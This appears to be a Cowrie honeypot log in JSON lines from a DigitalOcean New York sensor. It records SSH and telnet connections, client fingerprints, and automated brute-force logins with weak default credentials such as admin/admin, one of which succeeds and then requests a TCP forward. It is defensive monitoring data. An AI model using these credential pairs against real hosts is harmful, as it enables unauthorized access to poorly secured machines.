{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:16.176557Z","src_ip":"159.203.92.129","session":"0e504be9f2bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ap","password":"ap","message":"login attempt [ap/ap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:16.195830Z","src_ip":"159.203.92.129","session":"0e504be9f2bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:17.225572Z","src_ip":"159.203.92.129","session":"0e504be9f2bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19458,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d774034903c","protocol":"ssh","message":"New connection: 87.251.64.176:19458 (10.17.0.5:22) [session: 5d774034903c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:18.391188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:18.397128Z","src_ip":"87.251.64.176","session":"5d774034903c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:18.494231Z","src_ip":"87.251.64.176","session":"5d774034903c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:18.785658Z","src_ip":"87.251.64.176","session":"5d774034903c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:18.895862Z","session":"5d774034903c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:18.998454Z","src_ip":"87.251.64.176","session":"5d774034903c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:19.233925Z","src_ip":"87.251.64.176","session":"5d774034903c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.199.94.79","src_port":57231,"dst_ip":"10.17.0.5","dst_port":23,"session":"845458206b6f","protocol":"telnet","message":"New connection: 198.199.94.79:57231 (10.17.0.5:23) [session: 845458206b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:26.062799Z"}
{"eventid":"cowrie.session.closed","duration":31.419798612594604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:32.828062Z","src_ip":"198.50.122.223","session":"54ec350ebe05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":53964,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d693cde2523","protocol":"ssh","message":"New connection: 69.6.221.248:53964 (159.203.135.109:22) [session: 0d693cde2523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:40.340412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:40.345438Z","src_ip":"69.6.221.248","session":"0d693cde2523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:40.459375Z","src_ip":"69.6.221.248","session":"0d693cde2523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jan","password":"test","message":"login attempt [jan/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:40.944859Z","src_ip":"69.6.221.248","session":"0d693cde2523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:42.061011Z","src_ip":"69.6.221.248","session":"0d693cde2523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49298,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c8a49d00049","protocol":"telnet","message":"New connection: 198.50.122.223:49298 (10.17.0.5:23) [session: 5c8a49d00049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:54.164431Z"}
{"eventid":"cowrie.session.closed","duration":30.883315563201904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:56.945936Z","src_ip":"198.199.94.79","session":"845458206b6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58244,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dbbd9a57098","protocol":"ssh","message":"New connection: 159.203.92.129:58244 (159.203.135.109:22) [session: 7dbbd9a57098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:58.857153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:58.862655Z","src_ip":"159.203.92.129","session":"7dbbd9a57098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:58.868405Z","src_ip":"159.203.92.129","session":"7dbbd9a57098","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache-tomcat","password":"apache-tomcat","message":"login attempt [apache-tomcat/apache-tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:58.882536Z","src_ip":"159.203.92.129","session":"7dbbd9a57098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:59.889759Z","src_ip":"159.203.92.129","session":"7dbbd9a57098","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":45130,"dst_ip":"10.17.0.5","dst_port":22,"session":"8472e77c7172","protocol":"ssh","message":"New connection: 2.57.122.238:45130 (10.17.0.5:22) [session: 8472e77c7172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:03.695051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:03.701702Z","src_ip":"2.57.122.238","session":"8472e77c7172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:03.807018Z","src_ip":"2.57.122.238","session":"8472e77c7172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:04.128697Z","src_ip":"2.57.122.238","session":"8472e77c7172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:05.236493Z","src_ip":"2.57.122.238","session":"8472e77c7172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":50632,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb1aee773b52","protocol":"ssh","message":"New connection: 210.79.142.221:50632 (10.17.0.5:22) [session: eb1aee773b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:12.200902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:12.204936Z","src_ip":"210.79.142.221","session":"eb1aee773b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:12.448045Z","src_ip":"210.79.142.221","session":"eb1aee773b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":43354,"dst_ip":"159.203.135.109","dst_port":22,"session":"c56bd88871f5","protocol":"ssh","message":"New connection: 103.228.69.212:43354 (159.203.135.109:22) [session: c56bd88871f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:13.120395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:13.124773Z","src_ip":"103.228.69.212","session":"c56bd88871f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:13.354865Z","src_ip":"103.228.69.212","session":"c56bd88871f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www-data","password":"test","message":"login attempt [www-data/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:13.453847Z","src_ip":"210.79.142.221","session":"eb1aee773b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123","message":"login attempt [debian/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:14.308558Z","src_ip":"103.228.69.212","session":"c56bd88871f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:14.704991Z","src_ip":"210.79.142.221","session":"eb1aee773b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:15.541763Z","src_ip":"103.228.69.212","session":"c56bd88871f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.192939281463623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:25.357262Z","src_ip":"198.50.122.223","session":"5c8a49d00049","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":58006,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4258a6469a5","protocol":"telnet","message":"New connection: 185.26.126.47:58006 (159.203.135.109:23) [session: b4258a6469a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:30.587407Z"}
{"eventid":"cowrie.session.closed","duration":120.00156450271606,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:38.884350Z","src_ip":"154.110.11.213","session":"4253aa8ebf0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00114464759827,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:43.759725Z","src_ip":"154.110.11.213","session":"78f7a615e6b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59730,"dst_ip":"159.203.135.109","dst_port":22,"session":"d62e806c280f","protocol":"ssh","message":"New connection: 159.203.92.129:59730 (159.203.135.109:22) [session: d62e806c280f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:44.665130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:44.669962Z","src_ip":"159.203.92.129","session":"d62e806c280f","protocol":"ssh"}
